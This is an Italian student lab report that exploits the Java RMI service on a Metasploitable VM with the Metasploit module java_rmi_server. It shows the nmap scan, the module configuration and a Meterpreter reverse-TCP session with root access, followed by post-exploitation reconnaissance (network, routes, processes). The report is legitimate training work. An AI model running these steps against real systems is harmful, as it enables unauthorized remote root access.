

M4 W16D4

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: **192.168.11.111**
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: **192.168.11.112**
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 - o configurazione di rete;
 - o informazioni sulla tabella di routing della macchina vittima;
 - o ogni altra informazione che è in grado di acquisire.

Qui di sotto è la macchina Kali con IP 192.168.11.111

```
(kali㉿kali)-[~]  
$ ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
        valid_lft forever preferred_lft forever  
    inet6 ::1/128 scope host noprefixroute  
        valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000  
    link/ether 08:00:27:ad:25:87 brd ff:ff:ff:ff:ff:ff  
    inet 192.168.50.100/24 brd 192.168.50.255 scope global noprefixroute eth0  
        valid_lft forever preferred_lft forever  
    inet 192.168.11.111/24 brd 192.168.11.255 scope global eth0  
        valid_lft forever preferred_lft forever  
    inet6 fe80::cd54:ab54:b467:4199/64 scope link noprefixroute  
        valid_lft forever preferred_lft forever  
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000  
    link/ether 08:00:27:c5:16:31 brd ff:ff:ff:ff:ff:ff  
    inet 192.168.11.111/24 brd 192.168.11.255 scope global noprefixroute eth1  
        valid_lft forever preferred_lft forever
```

Macchina Metasploitable con IP 192.168.11.112

```
msfadmin@metasploitable:~$  
msfadmin@metasploitable:~$ ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
    inet6 ::1/128 scope host  
        valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000  
    link/ether 08:00:27:21:7a:12 brd ff:ff:ff:ff:ff:ff  
    inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0  
    inet6 fe80::a00:27ff:fe21:7a12/64 scope link  
        valid_lft forever preferred_lft forever  
3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop qlen 1000  
    link/ether 08:00:27:8f:1d:76 brd ff:ff:ff:ff:ff:ff  
msfadmin@metasploitable:~$ _
```

Configurate le due macchine, ora andrò ad eseguire da Kali una scansione NMAP su macchina vittima per verificare se la porta 1099 risulta aperta o chiusa.

```
valid_lft forever preferred_lft forever  
  
(kali㉿kali)-[~]  
$ nmap -p 1099 -sV 192.168.11.112  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-09 07:44 EDT  
Nmap scan report for 192.168.11.112  
Host is up (0.036s latency).  
  
PORT      STATE SERVICE  VERSION  
1099/tcp  open  java-rmi GNU Classpath grmiregistry  
MAC Address: 08:00:27:21:7A:12 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 20.70 seconds
```

Sopra possiamo osservare una scansione fatta con nmap verso Metasploitable dove ci da alcune info sulla nostro obiettivo.

STARTING Nmap 7.95 ci indica le versione usata da me di nmap

Nmap scan report for 192.168.11.112 questo è il report per l'host 192.168.11.112

Host is up (0.036s latency) significa che il sistema è attivo e risponde ai pacchetti in 36 millesecodi.

PORT STATE SERVICE VERSION

1099/tcp open java-rmi questo è il risultato che a noi interessava, ci dice che la porta è aperta quindi ora procederò ad avviare metasploitable da terminale kali.

Da Kali per avviare Metasploit ho lanciato il “msfconsole”

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: To save all commands executed since start up to a file, use the
makerc command

      .:ok000kdc'          'cdk000ko:.
      .x0000000000000c      c000000000000x.
      :000000000000000k,    ,k000000000000000:
      '000000000k00000: :000000000000000000'
o00000000. .o0000o0000l. ,00000000o
d00000000. .c00000c. ,00000000x
l00000000. ;d; ,00000000l
.00000000. .; ; ,00000000.
c0000000. .00c. 'o00. ,0000000c
o000000. .0000. :0000. ,000000o
l00000. .0000. :0000. ,00000l
;0000' .0000. :0000. ;0000;
.d00o .0000o000x0000. x00d.
,k0l .0000000000000. .d0k,
:kk;.0000000000000.c0k:
;k000000000000000k:
,x000000000000x,
.l00000000l.
,d0d,
.

=[ metasploit v6.4.45-dev ]
+ -- --=[ 2490 exploits - 1281 auxiliary - 431 post ]
+ -- --=[ 1466 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > 
```

Una volta dentro Mesplotit andremmo a trovare il nostro modulo disponibile per poter sfruttare le vulnerabilità legate a Java_RMI.

Ho eseguito il comando **search java rmi**, mi ha restituito una serie di moduli, ho trovato quello che mi interessava e l'ho usato come riporta la foto sottostante tramite il seguente comando.

Renga Daniele

```
.....;llll;;....
~ .....fffff~ . .

=[ metasploit v6.4.45-dev ]
-- --=[ 2490 exploits - 1281 auxiliary - 431 post ]
-- --=[ 1466 payloads - 49 encoders - 13 nops ]
-- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search java_rmi

Matching Modules
=====

#  Name                                     Disclosure Date  Rank      Check  Description
-  -
0  auxiliary/gather/java_rmi_registry        .               normal    No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
2  \_ target: Generic (Java Payload)         .               .         .      .
3  \_ target: Windows x86 (Native Payload)   .               .         .      .
4  \_ target: Linux x86 (Native Payload)     .               .         .      .
5  \_ target: Mac OS X PPC (Native Payload)  .               .         .      .
6  \_ target: Mac OS X x86 (Native Payload)  .               .         .      .
7  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal    No     Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use exploit/multi/misc/j
use exploit/multi/misc/java_jdwp_debugger use exploit/multi/misc/java_rmi_server
use exploit/multi/misc/java_jmx_server use exploit/multi/misc/jboss_remoting_unified_invoker_rce
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > |
```

use exploit/multi/misc/java_rmi_server

```
Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.11.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   false           no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   false           no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > |
```

Di sotto è la schermata show options dove possiamo andare a configurare il nostro attacco verso il nostro obbiettivo, e per riuscire ad avere una sessione remota di Metapreter.

Renga Daniele

Di sotto osserviamo l'esecuzione del comando exploit e l'accesso ad una sessione remota di meterpreter.

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/068aJ6pk06
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:44885) at 2025-03-09 11:28:24 -0400
```

meterpreter > █

```
meterpreter > ifconfig
```

```
Interface 1
```

```
=====
Name           : lo - lo
Hardware MAC    : 00:00:00:00:00:00
IPv4 Address    : 127.0.0.1
IPv4 Netmask    : 255.0.0.0
IPv6 Address    : ::1
IPv6 Netmask    : ::
```

```
Interface 2
```

```
=====
Name           : eth0 - eth0
Hardware MAC    : 00:00:00:00:00:00
IPv4 Address    : 192.168.11.112
IPv4 Netmask    : 255.255.255.0
IPv6 Address    : fe80::a00:27ff:fe21:7a12
IPv6 Netmask    : ::
```

```
meterpreter > █
```

Il comando ifconfig mostra le interfacce di rete attive sulla macchina Metasploitable .

Le due interfacce che vediamo qui di lato, la prima non ha rilevanze per l'attacco, perché è solo un 'interfaccia locale usata per la comunicazione interna al sistema.

Mentre la seconda conferma che abbiamo compreso con successo la macchina Metasploitable.

Renga Daniele

Qui di sotto ho eseguito alcuni comandi per avere piu informazioni possibili sulla macchina Vittima

```
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe21:7a12
IPv6 Netmask : ::

meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > getuid
Server username: root
meterpreter > route

IPv4 network routes
=====

  Subnet          Netmask          Gateway  Metric  Interface
  -----
  127.0.0.1       255.0.0.0       0.0.0.0
  192.168.11.112  255.255.255.0   0.0.0.0

IPv6 network routes
=====

  Subnet          Netmask          Gateway  Metric  Interface
  -----
  ::1             ::              ::
  fe80::a00:27ff:fe21:7a12  ::              ::
```

Ho eseguito il comando **sysinfo** per avere informazione sul sistema, ci dice che il tipo di computer è una Metasploitable con sistema Operativo Linux 2.6.24.

Il comando **getuid** ci restituisce come risposta Server username :root ,quindi ho accesso come root.

Altro comando è **route** Tabella di routing ,la macchina ci mostra le vari connessioni e ci dice anche che siamo connessi alla rete 192.68.11.0/24 e che non ha altre reti configurate.

Renga Daniele

L'ultimo comando che ho voluto usare è quello che ci da la possibilità tramite il comando **list** di andare a vedere tutti i processi attivi sulla macchina attaccata, qui di sotto ho caricato solo una piccola parte di tutti i processi attivi sulla Metasploitable.

Ogni singola riga ci mostra un processo attivo con le seguenti informazioni:

PID Identificativo del processo

Name Nome del processo

User L'utente che ha avviato il processo

Path Il percorso del file eseguibile del processo.

Con queste tipo di informazione potremmo fare tante azioni, tipo terminare un processo specifico, iniettare codice in un processo , cercare processi sospetti.

Process List

PID	Name	User	Path
1	/sbin/init	root	/sbin/init
2	[kthreadd]	root	[kthreadd]
3	[migration/0]	root	[migration/0]
4	[ksoftirqd/0]	root	[ksoftirqd/0]
5	[watchdog/0]	root	[watchdog/0]
6	[events/0]	root	[events/0]
7	[khelper]	root	[khelper]
41	[kblockd/0]	root	[kblockd/0]
44	[kacpid]	root	[kacpid]
45	[kacpi_notify]	root	[kacpi_notify]
91	[kseriod]	root	[kseriod]
130	[pdflush]	root	[pdflush]
131	[pdflush]	root	[pdflush]
132	[kswapd0]	root	[kswapd0]
174	[aio/0]	root	[aio/0]
1130	[ksnapd]	root	[ksnapd]
1321	[ksuspend_usbd]	root	[ksuspend_usbd]
1324	[khubd]	root	[khubd]
1337	[ata/0]	root	[ata/0]
1340	[ata_aux]	root	[ata_aux]
2057	[scsi_eh_0]	root	[scsi_eh_0]
2205	[kjournald]	root	[kjournald]
2359	/sbin/udev	root	/sbin/udev --daemon
2556	[kpsmoused]	root	[kpsmoused]
3524	[kjournald]	root	[kjournald]
3654	/sbin/portmap	daemon	/sbin/portmap

Renga Daniele